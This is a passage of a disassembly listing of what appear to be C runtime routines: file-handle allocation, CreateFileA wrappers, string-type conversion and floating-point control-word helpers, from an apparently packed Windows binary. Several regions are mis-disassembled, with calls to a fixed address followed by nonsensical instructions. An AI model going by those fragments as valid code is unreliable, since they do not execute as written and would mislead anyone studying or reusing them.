; ---------------------------------------------------------------------------
loc_41991B: ; CODE XREF: sub_41978C+FEj
sub eax, [ebp+var_10]
jmp short loc_419934
; ---------------------------------------------------------------------------
loc_419920: ; CODE XREF: sub_41978C+15j
; sub_41978C+37j
and dword_462BC8, 0
mov dword_462BC4, 9
loc_419931: ; CODE XREF: sub_41978C+120j
; sub_41978C+166j ...
or eax, 0FFFFFFFFh
loc_419934: ; CODE XREF: sub_41978C+4Cj
; sub_41978C+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41978C endp
; =============== S U B R O U T I N E =======================================
sub_419939 proc near ; CODE XREF: sub_414507+6Cp
; sub_418180+32p ...
arg_0 = dword ptr 4
inc dword_462D84
push 1000h
call sub_41279F
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_419962
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_419973
; ---------------------------------------------------------------------------
loc_419962: ; CODE XREF: sub_419939+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_419973: ; CODE XREF: sub_419939+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_419939 endp
; =============== S U B R O U T I N E =======================================
sub_41997D proc near ; CODE XREF: sub_414507+61p
; sub_415086+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_463FE0
jb short loc_41998C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41998C: ; CODE XREF: sub_41997D+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_463EE0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41997D endp
; =============== S U B R O U T I N E =======================================
sub_4199A3 proc near ; DATA XREF: .nsp0:0041F01Co
mov eax, dword_463EC0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_4199B7
mov eax, 200h
jmp short loc_4199BD
; ---------------------------------------------------------------------------
loc_4199B7: ; CODE XREF: sub_4199A3+Bj
cmp eax, esi
jge short loc_4199C2
mov eax, esi
loc_4199BD: ; CODE XREF: sub_4199A3+12j
mov dword_463EC0, eax
loc_4199C2: ; CODE XREF: sub_4199A3+16j
push 4
push eax
call sub_41B047
pop ecx
mov dword_462EB0, eax
test eax, eax
pop ecx
jnz short loc_4199F6
push 4
push esi
mov dword_463EC0, esi
call sub_41B047
pop ecx
mov dword_462EB0, eax
test eax, eax
pop ecx
jnz short loc_4199F6
push 1Ah
call sub_4144BE
pop ecx
loc_4199F6: ; CODE XREF: sub_4199A3+30j
; sub_4199A3+49j
xor ecx, ecx
mov eax, offset off_431BA8
loc_4199FD: ; CODE XREF: sub_4199A3+6Ej
mov edx, dword_462EB0
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_431E28
jl short loc_4199FD
xor edx, edx
mov ecx, offset dword_431BB8
loc_419A1A: ; CODE XREF: sub_4199A3+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_463EE0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_419A37
test eax, eax
jnz short loc_419A3A
loc_419A37: ; CODE XREF: sub_4199A3+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_419A3A: ; CODE XREF: sub_4199A3+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_431C18
jl short loc_419A1A
pop esi
retn
sub_4199A3 endp
; =============== S U B R O U T I N E =======================================
sub_419A48 proc near ; DATA XREF: .nsp0:0041F02Co
; FUNCTION CHUNK AT 0041B0C4 SIZE 00000058 BYTES
call sub_415010
cmp byte_462C04, 0
jz short locret_419A5B
jmp loc_41B0C4
; ---------------------------------------------------------------------------
locret_419A5B: ; CODE XREF: sub_419A48+Cj
retn
sub_419A48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A5C proc near ; CODE XREF: sub_41461C+2D4p
; sub_41461C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_419A68
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419A68: ; CODE XREF: sub_419A5C+8j
cmp dword_462C58, 0
jnz short loc_419A83
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_419AB5
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_419A5C+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_4316BC
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_462C68
call dword_41D12C ; WideCharToMultiByte
test eax, eax
jz short loc_419AB5
cmp [ebp+arg_0], 0
jz short loc_419AC2
loc_419AB5: ; CODE XREF: sub_419A5C+1Ej
; sub_419A5C+51j
mov dword_462BC4, 2Ah
or eax, 0FFFFFFFFh
loc_419AC2: ; CODE XREF: sub_419A5C+57j
pop ebp
retn
sub_419A5C endp
; ---------------------------------------------------------------------------
loc_419AC4: ; CODE XREF: sub_414E26+5Ep
; sub_418ACF+9Ap
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41DB78
push offset sub_419528
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, dword_462D88
xor ebx, ebx
cmp eax, ebx
jnz short loc_419B33
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_41D868
push esi
call dword_41D028 ; GetStringTypeW
test eax, eax
jz short loc_419B11
mov eax, esi
jmp short loc_419B2E
; ---------------------------------------------------------------------------
loc_419B11: ; CODE XREF: .nsp0:00419B0Bj
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_432704
push esi
push ebx
call near ptr 0AB0000h
sub [ebp-317BF040h], eax
; ---------------------------------------------------------------------------
dd 6A000000h
db 2, 58h
; ---------------------------------------------------------------------------
loc_419B2E: ; CODE XREF: .nsp0:00419B0Fj
mov dword_462D88, eax
loc_419B33: ; CODE XREF: .nsp0:00419AF3j
cmp eax, 2
jnz short loc_419B5C
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_419B44
mov eax, dword_462C58
loc_419B44: ; CODE XREF: .nsp0:00419B3Dj
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 0AB0000h
stosb
jmp loc_419BFB
; ---------------------------------------------------------------------------
loc_419B5C: ; CODE XREF: .nsp0:00419B36j
cmp eax, 1
jnz loc_419BF9
cmp [ebp+18h], ebx
jnz short loc_419B72
mov eax, dword_462C68
mov [ebp+18h], eax
loc_419B72: ; CODE XREF: .nsp0:00419B68j
push ebx
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+18h]
call dword_41D130 ; MultiByteToWideChar
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_419BF9
mov [ebp-4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_412770
mov [ebp-18h], esp
mov esi, esp
mov [ebp-24h], esi
push edi
push ebx
push esi
call sub_411F70
add esp, 0Ch
jmp short loc_419BC8
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor esi, esi
loc_419BC8: ; CODE XREF: .nsp0:00419BBBj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_419BF9
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call dword_41D130 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_419BF9
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call dword_41D028 ; GetStringTypeW
jmp short loc_419BFB
; ---------------------------------------------------------------------------
loc_419BF9: ; CODE XREF: .nsp0:00419B5Fj
; .nsp0:00419B94j ...
xor eax, eax
loc_419BFB: ; CODE XREF: .nsp0:00419B57j
; .nsp0:00419BF7j
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_419C0D proc near ; CODE XREF: sub_419E27:loc_419F9Fp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_463EE0
loc_419C1C: ; CODE XREF: sub_419C0D+48j
mov eax, [ecx]
test eax, eax
jz short loc_419C59
lea edx, [eax+100h]
loc_419C28: ; CODE XREF: sub_419C0D+28j
cmp eax, edx
jnb short loc_419C48
test byte ptr [eax+4], 1
jz short loc_419C37
add eax, 8
jmp short loc_419C28
; ---------------------------------------------------------------------------
loc_419C37: ; CODE XREF: sub_419C0D+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_419C9C
loc_419C48: ; CODE XREF: sub_419C0D+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_463FE0
jl short loc_419C1C
jmp short loc_419C9C
; ---------------------------------------------------------------------------
loc_419C59: ; CODE XREF: sub_419C0D+13j
mov esi, 100h
push esi
call sub_41279F
test eax, eax
pop ecx
jz short loc_419C9C
add dword_463FE0, 20h
lea ecx, ds:463EE0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_419C7F: ; CODE XREF: sub_419C0D+88j
cmp eax, edx
jnb short loc_419C97
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_419C7F
; ---------------------------------------------------------------------------
loc_419C97: ; CODE XREF: sub_419C0D+74j
shl edi, 5
mov ebx, edi
loc_419C9C: ; CODE XREF: sub_419C0D+39j
; sub_419C0D+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_419C0D endp
; ---------------------------------------------------------------------------
loc_419CA2: ; CODE XREF: sub_419E27+1F4p
mov eax, [esp+4]
push esi
cmp eax, dword_463FE0
push edi
jnb short loc_419D02
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:463EE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_419D02
cmp dword_4314A4, 1
push ebx
mov ebx, [esp+14h]
jnz short near ptr loc_419CF7+1
sub eax, 0
jz short loc_419CEF
dec eax
jz short loc_419CEA
dec eax
jnz short near ptr loc_419CF7+1
push ebx
push 0FFFFFFF4h
jmp short loc_419CF2
; ---------------------------------------------------------------------------
loc_419CEA: ; CODE XREF: .nsp0:00419CE0j
push ebx
push 0FFFFFFF5h
jmp short loc_419CF2
; ---------------------------------------------------------------------------
loc_419CEF: ; CODE XREF: .nsp0:00419CDDj
push ebx
push 0FFFFFFF6h
loc_419CF2: ; CODE XREF: .nsp0:00419CE8j
; .nsp0:00419CEDj
call near ptr 0AB0000h
loc_419CF7: ; CODE XREF: .nsp0:00419CD8j
; .nsp0:00419CE3j
or [ebx+301C8907h], cl
xor eax, eax
pop ebx
jmp short loc_419D16
; ---------------------------------------------------------------------------
loc_419D02: ; CODE XREF: .nsp0:00419CAEj
; .nsp0:00419CCAj
and dword_462BC8, 0
mov dword_462BC4, 9
or eax, 0FFFFFFFFh
loc_419D16: ; CODE XREF: .nsp0:00419D00j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_419D19 proc near ; CODE XREF: sub_414E9B+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_463FE0
push edi
jnb short loc_419D7C
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:463EE0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_419D7C
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_419D7C
cmp dword_4314A4, 1
jnz short near ptr loc_419D71+1
xor eax, eax
sub ecx, eax
jz short loc_419D69
dec ecx
jz short loc_419D64
dec ecx
jnz short near ptr loc_419D71+1
push eax
push 0FFFFFFF4h
jmp short loc_419D6C
; ---------------------------------------------------------------------------
loc_419D64: ; CODE XREF: sub_419D19+41j
push eax
push 0FFFFFFF5h
jmp short loc_419D6C
; ---------------------------------------------------------------------------
loc_419D69: ; CODE XREF: sub_419D19+3Ej
push eax
push 0FFFFFFF6h
loc_419D6C: ; CODE XREF: sub_419D19+49j
; sub_419D19+4Ej
call near ptr 0AB0000h
loc_419D71: ; CODE XREF: sub_419D19+38j
; sub_419D19+44j
fmul dword ptr [ebx+300C8307h]
push dword ptr [ebx]
shr bl, 14h
loc_419D7C: ; CODE XREF: sub_419D19+Cj
; sub_419D19+2Aj ...
and dword_462BC8, 0
mov dword_462BC4, 9
or eax, 0FFFFFFFFh
pop edi
pop esi
retn
sub_419D19 endp
; =============== S U B R O U T I N E =======================================
sub_419D93 proc near ; CODE XREF: sub_414E9B+32p
; sub_414E9B+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_463FE0
jnb short loc_419DBB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_463EE0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_419DBB
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_419DBB: ; CODE XREF: sub_419D93+Aj
; sub_419D93+23j
and dword_462BC8, 0
mov dword_462BC4, 9
or eax, 0FFFFFFFFh
retn
sub_419D93 endp
; =============== S U B R O U T I N E =======================================
sub_419DD0 proc near ; CODE XREF: sub_414F79+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_463FE0
jnb short loc_419E19
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_463EE0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_419E19
push eax
call sub_419D93
pop ecx
push eax
call near ptr 0AB0000h
add [ebp-0F78A40h], al
adc eax, offset dword_41D06C
jmp short loc_419E10
; ---------------------------------------------------------------------------
xor eax, eax
loc_419E10: ; CODE XREF: sub_419DD0+3Cj
test eax, eax
jz short locret_419E26
mov dword_462BC8, eax
loc_419E19: ; CODE XREF: sub_419DD0+Aj
; sub_419DD0+22j
mov dword_462BC4, 9
or eax, 0FFFFFFFFh
locret_419E26: ; CODE XREF: sub_419DD0+42j
retn
sub_419DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E27 proc near ; CODE XREF: sub_415150+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_419E4D
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_419E58
; ---------------------------------------------------------------------------
loc_419E4D: ; CODE XREF: sub_419E27+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_419E58: ; CODE XREF: sub_419E27+24j
mov eax, 8000h
test ecx, eax
jnz short loc_419E72
test ch, 40h
jnz short loc_419E6E
cmp dword_462E90, eax
jz short loc_419E72
loc_419E6E: ; CODE XREF: sub_419E27+3Dj
or [ebp+var_1], 80h
loc_419E72: ; CODE XREF: sub_419E27+38j
; sub_419E27+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_419EAA
dec eax
jz short loc_419EA1
dec eax
jz short loc_419E98
loc_419E83: ; CODE XREF: sub_419E27+9Fj
; sub_419E27+E8j ...
mov dword_462BC4, 16h
mov dword_462BC8, ebx
jmp loc_41A0BD
; ---------------------------------------------------------------------------
loc_419E98: ; CODE XREF: sub_419E27+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_419EB1
; ---------------------------------------------------------------------------
loc_419EA1: ; CODE XREF: sub_419E27+57j
mov [ebp+var_C], 40000000h
jmp short loc_419EB1
; ---------------------------------------------------------------------------
loc_419EAA: ; CODE XREF: sub_419E27+54j
mov [ebp+var_C], 80000000h
loc_419EB1: ; CODE XREF: sub_419E27+78j
; sub_419E27+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_419EDF
cmp eax, 20h
jz short loc_419ED6
cmp eax, 30h
jz short loc_419ECD
cmp eax, 40h
jnz short loc_419E83
mov [ebp+var_10], esi
jmp short loc_419EE2
; ---------------------------------------------------------------------------
loc_419ECD: ; CODE XREF: sub_419E27+9Aj
mov [ebp+var_10], 2
jmp short loc_419EE2
; ---------------------------------------------------------------------------
loc_419ED6: ; CODE XREF: sub_419E27+95j
mov [ebp+var_10], 1
jmp short loc_419EE2
; ---------------------------------------------------------------------------
loc_419EDF: ; CODE XREF: sub_419E27+90j
mov [ebp+var_10], ebx
loc_419EE2: ; CODE XREF: sub_419E27+A4j
; sub_419E27+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_419F2C
jz short loc_419F27
cmp ecx, ebx
jz short loc_419F27
cmp ecx, edi
jz short loc_419F1E
cmp ecx, 200h
jz short loc_419F45
cmp ecx, 300h
jnz loc_419E83
mov [ebp+var_8], 2
jmp short loc_419F55
; ---------------------------------------------------------------------------
loc_419F1E: ; CODE XREF: sub_419E27+D8j
mov [ebp+var_8], 4
jmp short loc_419F55
; ---------------------------------------------------------------------------
loc_419F27: ; CODE XREF: sub_419E27+D0j
; sub_419E27+D4j
mov [ebp+var_8], esi
jmp short loc_419F55
; ---------------------------------------------------------------------------
loc_419F2C: ; CODE XREF: sub_419E27+CEj
cmp ecx, 500h
jz short loc_419F4E
cmp ecx, 600h
jz short loc_419F45
cmp ecx, edx
jz short loc_419F4E
jmp loc_419E83
; ---------------------------------------------------------------------------
loc_419F45: ; CODE XREF: sub_419E27+E0j
; sub_419E27+113j
mov [ebp+var_8], 5
jmp short loc_419F55
; ---------------------------------------------------------------------------
loc_419F4E: ; CODE XREF: sub_419E27+10Bj
; sub_419E27+117j
mov [ebp+var_8], 1
loc_419F55: ; CODE XREF: sub_419E27+F5j
; sub_419E27+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_419F74
mov ecx, dword_462BCC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_419F74
push 1
pop esi
loc_419F74: ; CODE XREF: sub_419E27+138j
; sub_419E27+148j
test al, 40h
jz short loc_419F82
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_419F82: ; CODE XREF: sub_419E27+14Fj
test ah, 10h
jz short loc_419F89
or esi, edi
loc_419F89: ; CODE XREF: sub_419E27+15Ej
test al, 20h
jz short loc_419F95
or esi, 8000000h
jmp short loc_419F9F
; ---------------------------------------------------------------------------
loc_419F95: ; CODE XREF: sub_419E27+164j
test al, 10h
jz short loc_419F9F
or esi, 10000000h
loc_419F9F: ; CODE XREF: sub_419E27+16Cj
; sub_419E27+170j
call sub_419C0D
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_419FC0
and dword_462BC8, 0
mov dword_462BC4, 18h
jmp short loc_419FFE
; ---------------------------------------------------------------------------
loc_419FC0: ; CODE XREF: sub_419E27+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_41D07C ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_419FF1
push esi
call near ptr 0AB0000h
pop ss
test eax, eax
jnz short loc_41A005
push esi
call dword_41D074 ; CloseHandle
loc_419FF1: ; CODE XREF: sub_419E27+1B6j
call dword_41D06C ; RtlGetLastWin32Error
push eax
call sub_418CFA
pop ecx
loc_419FFE: ; CODE XREF: sub_419E27+197j
mov eax, edi
jmp loc_41A0DB
; ---------------------------------------------------------------------------
loc_41A005: ; CODE XREF: sub_419E27+1C1j
cmp eax, 2
jnz short loc_41A010
or [ebp+var_1], 40h
jmp short loc_41A019
; ---------------------------------------------------------------------------
loc_41A010: ; CODE XREF: sub_419E27+1E1j
cmp eax, 3
jnz short loc_41A019
or [ebp+var_1], 8
loc_41A019: ; CODE XREF: sub_419E27+1E7j
; sub_419E27+1ECj
push esi
push ebx
call loc_419CA2
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:463EE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41A0C2
test al, 80h
jz short loc_41A0C2
test byte ptr [ebp+arg_4], 2
jz short loc_41A0C2
push 2
push 0FFFFFFFFh
push ebx
call sub_41844F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41A077
cmp dword_462BC8, 83h
jz short loc_41A0C2
jmp short loc_41A0B6
; ---------------------------------------------------------------------------
loc_41A077: ; CODE XREF: sub_419E27+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_418259
add esp, 0Ch
test eax, eax
jnz short loc_41A0A4
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41A0A4
push [ebp+var_10]
push ebx
call sub_41B11C
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A0B6
loc_41A0A4: ; CODE XREF: sub_419E27+265j
; sub_419E27+26Bj
push 0
push 0
push ebx
call sub_41844F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41A0C2
loc_41A0B6: ; CODE XREF: sub_419E27+24Ej
; sub_419E27+27Bj
push ebx
call sub_414E9B
pop ecx
loc_41A0BD: ; CODE XREF: sub_419E27+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41A0DB
; ---------------------------------------------------------------------------
loc_41A0C2: ; CODE XREF: sub_419E27+221j
; sub_419E27+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41A0D9
test byte ptr [ebp+arg_4], 8
jz short loc_41A0D9
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41A0D9: ; CODE XREF: sub_419E27+29Fj
; sub_419E27+2A5j
mov eax, ebx
loc_41A0DB: ; CODE XREF: sub_419E27+1D9j
; sub_419E27+299j
pop edi
pop esi
pop ebx
leave
retn
sub_419E27 endp
; =============== S U B R O U T I N E =======================================
sub_41A0E0 proc near ; CODE XREF: sub_416483+52p
xor eax, eax
retn
sub_41A0E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A0E3 proc near ; CODE XREF: sub_41A118+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41A12E
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41A1C0
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41A0E3 endp
; =============== S U B R O U T I N E =======================================
sub_41A118 proc near ; CODE XREF: sub_41676F+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41A0E3
pop ecx
pop ecx
retn
sub_41A118 endp
; =============== S U B R O U T I N E =======================================
sub_41A12E proc near ; CODE XREF: sub_41A0E3+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41A13F
push 10h
pop eax
loc_41A13F: ; CODE XREF: sub_41A12E+Cj
test bl, 4
jz short loc_41A146
or al, 8
loc_41A146: ; CODE XREF: sub_41A12E+14j
test bl, 8
jz short loc_41A14D
or al, 4
loc_41A14D: ; CODE XREF: sub_41A12E+1Bj
test bl, 10h
jz short loc_41A154
or al, 2
loc_41A154: ; CODE XREF: sub_41A12E+22j
test bl, 20h
jz short loc_41A15B
or al, 1
loc_41A15B: ; CODE XREF: sub_41A12E+29j
test bl, 2
jz short loc_41A165
or eax, 80000h
loc_41A165: ; CODE XREF: sub_41A12E+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41A19D
cmp edx, 400h
jz short loc_41A19A
cmp edx, 800h
jz short loc_41A196
cmp edx, esi
jnz short loc_41A19D
or eax, edi
jmp short loc_41A19D
; ---------------------------------------------------------------------------
loc_41A196: ; CODE XREF: sub_41A12E+5Ej
or eax, ebp
jmp short loc_41A19D
; ---------------------------------------------------------------------------
loc_41A19A: ; CODE XREF: sub_41A12E+56j
or ah, 1
loc_41A19D: ; CODE XREF: sub_41A12E+4Ej
; sub_41A12E+62j ...
and ecx, edi
pop esi
jz short loc_41A1AD
cmp ecx, ebp
jnz short loc_41A1B2
or eax, 10000h
jmp short loc_41A1B2
; ---------------------------------------------------------------------------
loc_41A1AD: ; CODE XREF: sub_41A12E+72j
or eax, 20000h
loc_41A1B2: ; CODE XREF: sub_41A12E+76j
; sub_41A12E+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41A1BF
or eax, 40000h
locret_41A1BF: ; CODE XREF: sub_41A12E+8Aj
retn
sub_41A12E endp
; =============== S U B R O U T I N E =======================================
sub_41A1C0 proc near ; CODE XREF: sub_41A0E3+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41A1D0
push 1
pop eax
loc_41A1D0: ; CODE XREF: sub_41A1C0+Bj
test bl, 8
jz short loc_41A1D7
or al, 4
loc_41A1D7: ; CODE XREF: sub_41A1C0+13j
test bl, 4
jz short loc_41A1DE
or al, 8
loc_41A1DE: ; CODE XREF: sub_41A1C0+1Aj
test bl, 2
jz short loc_41A1E5
or al, 10h
loc_41A1E5: ; CODE XREF: sub_41A1C0+21j
test bl, 1
jz short loc_41A1EC
or al, 20h
loc_41A1EC: ; CODE XREF: sub_41A1C0+28j
test ebx, 80000h
jz short loc_41A1F6
or al, 2
loc_41A1F6: ; CODE XREF: sub_41A1C0+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41A223
cmp ecx, 100h
jz short loc_41A220
cmp ecx, esi
jz short loc_41A21B
cmp ecx, edx
jnz short loc_41A223
or ah, 0Ch
jmp short loc_41A223
; ---------------------------------------------------------------------------
loc_41A21B: ; CODE XREF: sub_41A1C0+50j
or ah, 8
jmp short loc_41A223
; ---------------------------------------------------------------------------
loc_41A220: ; CODE XREF: sub_41A1C0+4Cj
or ah, 4
loc_41A223: ; CODE XREF: sub_41A1C0+44j
; sub_41A1C0+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41A239
cmp ecx, 10000h
jnz short loc_41A23B
or eax, esi
jmp short loc_41A23B
; ---------------------------------------------------------------------------
loc_41A239: ; CODE XREF: sub_41A1C0+6Bj
or eax, edx
loc_41A23B: ; CODE XREF: sub_41A1C0+73j
; sub_41A1C0+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41A248
or ah, 10h
locret_41A248: ; CODE XREF: sub_41A1C0+83j
retn
sub_41A1C0 endp
; =============== S U B R O U T I N E =======================================
sub_41A249 proc near ; CODE XREF: sub_41A2E8+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41A28E
inc esi
cmp esi, 3
jge short loc_41A289
lea eax, [eax+esi*4]
loc_41A27B: ; CODE XREF: sub_41A249+3Ej
cmp dword ptr [eax], 0
jnz short loc_41A28E
inc esi
add eax, 4
cmp esi, 3
jl short loc_41A27B
loc_41A289: ; CODE XREF: sub_41A249+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A28E: ; CODE XREF: sub_41A249+27j
; sub_41A249+35j
xor eax, eax
pop esi
retn
sub_41A249 endp
; =============== S U B R O U T I N E =======================================
sub_41A292 proc near ; CODE XREF: sub_41A2E8+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
